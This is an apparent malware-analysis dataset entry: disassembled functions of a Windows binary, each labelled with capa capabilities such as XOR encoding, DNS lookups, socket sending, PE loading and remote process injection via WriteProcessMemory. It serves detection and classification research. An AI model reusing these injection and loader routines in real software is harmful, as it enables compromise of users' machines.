joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40201a
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x100
test byte [0x412388], 1
jne 0x40203d
or dword [0x412388], 1
push 0
call fcn.0040f0a9
pop ecx
mov dword [0x412384], eax
test byte [0x412388], 2
jne 0x40205a
or dword [0x412388], 2
push 0
call fcn.0040f0a9
pop ecx
mov dword [0x412380], eax
test byte [0x412388], 4
jne 0x402077
or dword [0x412388], 4
push 0
call fcn.0040f0a9
pop ecx
mov dword [0x41237c], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
sub eax, dword [0x412374]
mov esi, dword [esp + 0x114]
mov ebx, 0xdbba0
cmp eax, ebx
jbe 0x4020e4
mov eax, dword [section..data]
xor ebp, ebp
cmp byte [eax], 0
je 0x4020dd
mov eax, section..data
push dword [eax]
call fcn.0040268d
pop ecx
test eax, eax
je 0x4020c8
or dword [esi + 0x14], 4
push 0x50
push eax
call fcn.00401978
pop ecx
pop ecx
test eax, eax
jne 0x4020d9
inc ebp
lea eax, [ebp*4 + section..data]
mov ecx, dword [eax]
cmp byte [ecx], 0
jne 0x4020aa
jmp 0x4020dd
or dword [esi + 0x14], 2
call edi
mov dword [0x412374], eax
call edi
sub eax, dword [0x412370]
cmp eax, ebx
jbe 0x40213b
mov eax, dword [section..data]
xor ebp, ebp
cmp byte [eax], 0
je 0x402134
mov eax, section..data
push dword [eax]
call fcn.00402f01
pop ecx
test eax, eax
je 0x40211f
or dword [esi + 0x14], 8
push 0x19
push eax
call fcn.00401978
pop ecx
pop ecx
test eax, eax
jne 0x402130
inc ebp
lea eax, [ebp*4 + section..data]
mov ecx, dword [eax]
cmp byte [ecx], 0
jne 0x402101
jmp 0x402134
or dword [esi + 0x14], 1
call edi
mov dword [0x412370], eax
call edi
mov ebp, 0x3e8
xor edx, edx
mov ecx, ebp
div ecx
mov dword [esi + 0x2c], eax
call edi
xor edx, edx
div ebp
xor ebx, ebx
push ebx
sub eax, dword [0x412198]
mov dword [esi + 0x30], eax
call fcn.0040f0a9
sub eax, dword [0x412384]
pop ecx
mov edi, str.localcfg
mov ebp, 0x4b0
cmp eax, dword [0x412378]
jbe 0x4021d4
push 0x410264
push 0x100
lea eax, [esp + 0x18]
push eax
push str.rbl_bl
push edi
push 1
call fcn.0040e8af
push ebx
push str.rbl_ip
push edi
push 1
call fcn.0040e874
add esp, 0x28
cmp eax, ebx
je 0x4021ca
cmp byte [esp + 0x10], bl
je 0x4021ca
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.00401c5f
pop ecx
pop ecx
mov dword [esi + 0x3c], eax
mov dword [0x412378], ebp
jmp 0x4021d4
mov dword [0x412378], 0x12c
push ebx
call fcn.0040f0a9
sub eax, dword [0x412384]
pop ecx
cmp eax, ebp
jbe 0x402203
push dword [esi + 0x14]
push str.net_type
push edi
push 1
call fcn.0040eadf
push ebx
call fcn.0040f0a9
add esp, 0x14
mov dword [0x412384], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100
ret

Function at 0x4024cb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
xor ecx, ecx
not eax
cmp dword [ebp + 0xc], ecx
jne 0x4024de
xor eax, eax
pop ebp
ret
jbe 0x40250d
mov edx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
xor eax, edx
mov edx, eax
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0x4103b0]
mov edx, eax
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0x4103b0]
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x4024e0
not eax
pop ebp
ret
Function at 0x402511
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
push esi
mov esi, dword [ebp + 0x10]
inc ecx
test esi, esi
je 0x402547
mov edx, dword [ebp + 0xc]
sub edx, eax
push edi
mov di, word [edx + eax]
xor di, word [ebp + 0x14]
mov word [eax], di
mov edi, dword [ebp + 0x18]
add edi, ecx
add dword [ebp + 0x14], edi
neg ecx
add eax, 2
dec esi
movzx ecx, cx
jne 0x402528
pop edi
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret

Function at 0x40254d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
mov cl, 1
test edi, edi
je 0x40257a
push esi
mov esi, dword [ebp + 0xc]
sub esi, eax
mov dl, byte [esi + eax]
xor dl, byte [ebp + 0x14]
mov byte [eax], dl
mov dl, cl
add dl, byte [ebp + 0x18]
neg cl
add byte [ebp + 0x14], dl
inc eax
dec edi
jne 0x402563
pop esi
mov eax, dword [ebp + 8]
pop edi
pop ebp
ret

Function at 0x40268d
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp byte [esi], 0
jne 0x40269b
xor eax, eax
pop esi
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x4026b9
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402697
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop esi
ret

Function at 0x402708
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
mov eax, dword [0x412c90]
xor ebx, ebx
push edi
mov edi, 0x400
cmp eax, ebx
jne 0x40272c
push edi
call fcn.0040ec27
pop ecx
mov dword [0x412c90], eax
push edi
push ebx
push eax
call fcn.0040ee85
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x412c90]
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov word [ecx], ax
mov eax, dword [0x412c90]
mov cx, word [ebp + 0x10]
push 1
mov word [eax + 2], cx
call edi
mov ecx, dword [0x412c90]
mov word [ecx + 4], ax
mov ecx, dword [0x412c90]
xor eax, eax
mov word [ecx + 6], ax
mov ecx, dword [0x412c90]
mov word [ecx + 8], ax
mov ecx, dword [0x412c90]
mov word [ecx + 0xa], ax
mov edx, dword [0x412c90]
xor ecx, ecx
cmp byte [esi], bl
je 0x4027d5
mov bl, byte [eax + esi]
mov dword [ebp + 0x10], eax
jmp 0x4027a9
cmp bl, 0x2e
je 0x4027ad
inc dword [ebp + 0x10]
mov ebx, dword [ebp + 0x10]
mov bl, byte [ebx + esi]
test bl, bl
jne 0x40279b
mov bl, byte [ebp + 0x10]
sub bl, al
mov byte [ecx + edx + 0xc], bl
inc ecx
jmp 0x4027c2
mov bl, byte [eax + esi]
mov byte [ecx + edx + 0xc], bl
inc ecx
inc eax
cmp eax, dword [ebp + 0x10]
jl 0x4027b9
cmp byte [eax + esi], 0x2e
jne 0x4027ce
inc eax
xor ebx, ebx
cmp byte [eax + esi], bl
jne 0x402793
push 0xf
mov byte [ecx + edx + 0xc], bl
lea esi, [ecx + 0xd]
call edi
mov ecx, dword [0x412c90]
push 1
mov word [ecx + esi], ax
call edi
mov ecx, dword [0x412c90]
push 0x10
push dword [ebp + 0xc]
mov word [ecx + esi + 2], ax
push ebx
add esi, 4
push esi
push 0x412c90
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
test eax, eax
setle cl
pop edi
pop esi
pop ebx
mov eax, ecx
pop ebp
ret
Function at 0x402dfb
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, str.iphlpapi.dll
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402e19
cmp eax, 0xffffffff
jne 0x402e20
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x402efa
cmp eax, 0xffffffff
je 0x402efa
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x402efa
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0x4000
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0xc]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esi
call edi
test eax, eax
jne 0x402efa
mov edi, dword [ebp - 4]
and dword [ebp - 8], eax
add edi, 0x10c
je 0x402ee7
lea esi, [edi + 4]
test esi, esi
je 0x402ee1
push 2
pop eax
push 0x35
mov word [ebp - 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x1a], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x402eae
cmp eax, 0xffffffff
jne 0x402ec3
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402ee1
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x402ee1
cmp eax, 0xffffffff
je 0x402ee1
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.00402cf4
pop ecx
pop ecx
mov dword [ebp - 8], eax
test eax, eax
jne 0x402ee7
mov edi, dword [edi]
test edi, edi
jne 0x402e81
push dword [ebp - 4]
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
jmp 0x402efc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4030be
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push esi
mov esi, 0x80
push esi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.0040ee85
add esp, 0xc
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
pop esi
test eax, eax
je 0x4030ff
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret
xor eax, eax
leave
ret

Function at 0x403103
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, eax
jmp 0x40312b
call edi
sub eax, ebx
cmp eax, 0x1388
jae 0x403137
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push dword [esp + 0x14]
call esi
test eax, eax
jne 0x403118
pop edi
pop esi
pop ebx
ret
Function at 0x403f1b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403f7f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x403f89
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x403f89
cmp ebx, dword [ebp + 0x14]
jne 0x403f89
xor eax, eax
inc eax
jmp 0x403f8b
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x403f8f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403ff3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x403ffd
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x403ffd
cmp ebx, dword [ebp + 0x14]
jne 0x403ffd
xor eax, eax
inc eax
jmp 0x403fff
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x404003
Capabilities:
Check if file exists

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
or dword [esi], 0xffffffff
push 0
push 0x40000080
push 3
push 0
push 3
push 0xc0000000
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x40405a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x404055
cmp eax, 3
je 0x404055
cmp eax, 5
je 0x40405c
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x40400e
xor eax, eax
pop edi
pop esi
ret
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x404057

Function at 0x404c40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
mov esi, ecx
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0xc
jmp 0x404c6e
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x404c77
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x404c5b
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x406328
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x406343
xor eax, eax
jmp 0x4063e6
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0x40633c
mov eax, dword [ebp + 0xc]
sub eax, dword [ecx + 0x34]
mov edx, dword [ecx + 0xa4]
and dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0xa0]
push ebx
add eax, edi
push esi
mov dword [ebp - 0x14], edx
test edx, edx
je 0x4063db
mov edx, dword [eax + 4]
add dword [ebp - 8], edx
mov esi, dword [eax]
and dword [ebp - 4], 0
add edx, 0xfffffff8
shr edx, 1
add esi, edi
test edx, edx
jle 0x4063d0
mov edi, dword [ebp - 4]
movzx edi, word [eax + edi*2 + 8]
mov ebx, edi
shr ebx, 0xc
test ebx, ebx
je 0x4063c5
cmp ebx, 3
je 0x4063a6
cmp ebx, 0xa
jne 0x4063e9
and edi, 0xfff
add edi, esi
mov dword [ebp - 0x10], edi
mov edi, dword [edi]
mov ebx, edi
sub ebx, dword [ecx + 0x34]
cmp ebx, dword [ecx + 0x50]
ja 0x4063e9
add edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x40638b
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 8]
add eax, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
jb 0x406374
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x34], eax
xor eax, eax
inc eax
pop esi
pop ebx
pop edi
leave
ret
xor eax, eax
jmp 0x4063e4

Function at 0x4063ed
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0
jne 0x4063fb
xor eax, eax
leave
ret
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x50]
push 4
mov esi, 0x1000
push esi
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x406466
push ebx
push edi
push eax
call fcn.0040ee63
add esp, 0xc
push 0x40
push esi
push ebx
push 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x406466
push esi
push dword [ebp - 4]
call fcn.00406328
pop ecx
pop ecx
push 0
push ebx
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40646a
xor eax, eax
jmp 0x40647c
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
sub esi, edi
add esi, dword [ebp + 8]
mov dword [eax], esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406481
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x406492
xor eax, eax
ret
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x4064ab
mov eax, 0x14c
cmp word [edi + 4], ax
je 0x4064af
xor eax, eax
pop edi
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push dword [edi + 0x50]
push dword [edi + 0x34]
call esi
mov ebx, eax
test ebx, ebx
jne 0x4064e3
push 4
push 0x1000
push dword [edi + 0x50]
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x40656d
push 0x14
call fcn.0040ec27
mov esi, eax
xor eax, eax
pop ecx
cmp esi, eax
je 0x40656d
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esi + 4], ebx
mov ecx, dword [edi + 0x54]
add ecx, dword [eax + 0x3c]
push ecx
push eax
push ebx
call fcn.0040ee63
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0x3c]
push esi
add eax, ebx
push edi
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], ebx
call fcn.00405f35
mov eax, ebx
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0x40653a
push eax
push esi
call fcn.0040605c
pop ecx
pop ecx
push esi
call fcn.004060da
pop ecx
test eax, eax
je 0x406566
push esi
call fcn.00405fb0
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
pop ecx
test eax, eax
je 0x406574
add eax, ebx
je 0x406566
push 0
xor edi, edi
inc edi
push edi
push ebx
call eax
test eax, eax
jne 0x406571
push esi
call fcn.004062b7
pop ecx
xor eax, eax
jmp 0x406576
mov dword [esi + 0x10], edi
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x4069f8
Capabilities:
Enumerate pe sections
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx esi, word [eax + 6]
movzx ecx, word [eax + 0x14]
dec esi
imul esi, esi, 0x28
lea ecx, [ecx + eax + 0x18]
mov eax, dword [ebp + 0x14]
add esi, ecx
mov ebx, dword [esi + 0x14]
sub eax, ebx
mov dword [ebp - 4], eax
cmp ebx, dword [ebp + 0x10]
jae 0x406a51
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x406a51
xor edx, edx
div ecx
mov dword [ebp - 8], ecx
mov dword [ebp + 0x14], eax
xor eax, eax
inc eax
cmp dword [ebp + 0x14], eax
jge 0x406a46
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0x14]
imul eax, ecx
mov dword [esi + 0x10], eax
jmp 0x406a55
and dword [ebp + 0x14], 0
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
test eax, eax
je 0x406abe
cmp dword [ebp - 4], ebx
jne 0x406abe
cmp dword [ebp + 0x14], 0
je 0x406aad
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x14]
push dword [ebp - 8]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call edi
test eax, eax
mov eax, dword [ebp - 4]
je 0x406ab1
cmp eax, dword [ebp - 8]
jne 0x406ab1
add ebx, eax
dec dword [ebp + 0x14]
jne 0x406a81
mov eax, ebx
jmp 0x406acc
add ebx, eax
cmp ebx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, ebx
jmp 0x406acc
cmp dword [ebp + 0x14], 0
je 0x406aca
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406ad1
Capabilities:
Delete file
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x406bfd
mov al, byte [esi]
mov byte [ebp - 4], al
mov al, byte [esi + 1]
mov byte [ebp - 3], al
mov al, byte [esi + 2]
push edi
mov edi, dword [ebp + 0x10]
mov byte [ebp - 2], al
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x406b8e
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x14]
push ebx
push dword [ebp - 0xc]
push ebx
push eax
call fcn.0040eb69
add esp, 0x10
cmp edx, ebx
jl 0x406b8e
jg 0x406b58
cmp eax, 0x6400000
jbe 0x406b6e
call fcn.0040ed00
xor edx, edx
mov ecx, 0x500000
div ecx
lea edi, [edx + 0xa00000]
jmp 0x406b8e
cmp edx, ebx
jl 0x406b8e
jg 0x406b7b
cmp eax, 0x3200000
jbe 0x406b8e
call fcn.0040ed00
mov edi, eax
and edi, 0x1fffff
add edi, 0x300000
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.004069f8
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp eax, ebx
jne 0x406bc7
mov dword [0x412218], 0x54080102
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0x412214], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406bf0
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test eax, eax
jne 0x406bf7
mov dword [0x412218], 0x54080103
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0x412214], eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x18]
pop edi
jmp 0x406c14
mov dword [0x412218], 0x54080101
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x412214], eax
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x406c18
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [0x413144]
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
test eax, eax
je 0x406c31
xor eax, eax
leave
ret
push esi
lea eax, [ebp - 4]
push eax
xor esi, esi
push esi
call dword [0x413144]
pop ecx
pop ecx
test eax, eax
je 0x406c4c
xor eax, eax
jmp 0x406cdd
push ebx
push dword [ebp - 4]
call fcn.0040ec27
mov ebx, eax
pop ecx
cmp ebx, esi
je 0x406c74
lea eax, [ebp - 4]
push eax
push ebx
call dword [0x413144]
pop ecx
pop ecx
test eax, eax
je 0x406c78
push ebx
call fcn.0040ec89
pop ecx
xor eax, eax
jmp 0x406cdc
push edi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x406ca5
push ebx
call fcn.0040ec89
xor eax, eax
jmp 0x406cda
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x406ccb
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x406c9b
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.0040ec89
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x406ce0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
push 7
xor ecx, ecx
mov eax, edx
pop esi
mov edi, edx
and edi, 0xf
xor ecx, edi
shr edx, 4
dec esi
jne 0x406ced
and eax, 0xfffffff
shl ecx, 0x1c
pop edi
or eax, ecx
pop esi
ret

Function at 0x406d07
Capabilities:
Encode data using xor

Disassembly:
push 8
xor eax, eax
pop ecx
mov edx, dword [esp + 4]
shr dword [esp + 4], 4
and edx, 0xf
xor eax, edx
dec ecx
jne 0x406d0c
ret

Function at 0x406d3a
Capabilities:
Get common file path

Disassembly:
cmp byte [0x412ea0], 0
push edi
mov edi, 0x412ea0
jne 0x406e2f
push esi
push str.GetSystemWow64DirectoryA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
test eax, eax
je 0x406d83
push esi
push edi
call eax
test eax, eax
je 0x406d83
cmp byte [0x412ea0], 0
jne 0x406e0a
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x406d98
cmp byte [0x412ea0], 0
jne 0x406e0a
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, 0xa9
mov esi, 0x412390
lea ebp, [ebx + 0x57]
test eax, eax
je 0x406dbc
cmp byte [0x412ea0], 0
jne 0x406de2
push 0xb7
push ebx
push 0xb
push 0x410678
push esi
call fcn.0040254d
push eax
push edi
call fcn.0040ef5b
push ebp
push 0
push esi
call fcn.0040ee85
add esp, 0x28
push 0xb7
push ebx
push 0xb
push 0x41066c
push esi
call fcn.0040254d
push eax
push edi
call fcn.0040ef79
push ebp
push 0
push esi
call fcn.0040ee85
add esp, 0x28
pop ebp
pop ebx
mov eax, edi
lea ecx, [eax + 1]
pop esi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406e10
sub eax, ecx
cmp byte [eax + 0x412e9f], 0x5c
je 0x406e2f
mov byte [eax + 0x412ea0], 0x5c
mov byte [eax + 0x412ea1], dl
mov eax, edi
pop edi
ret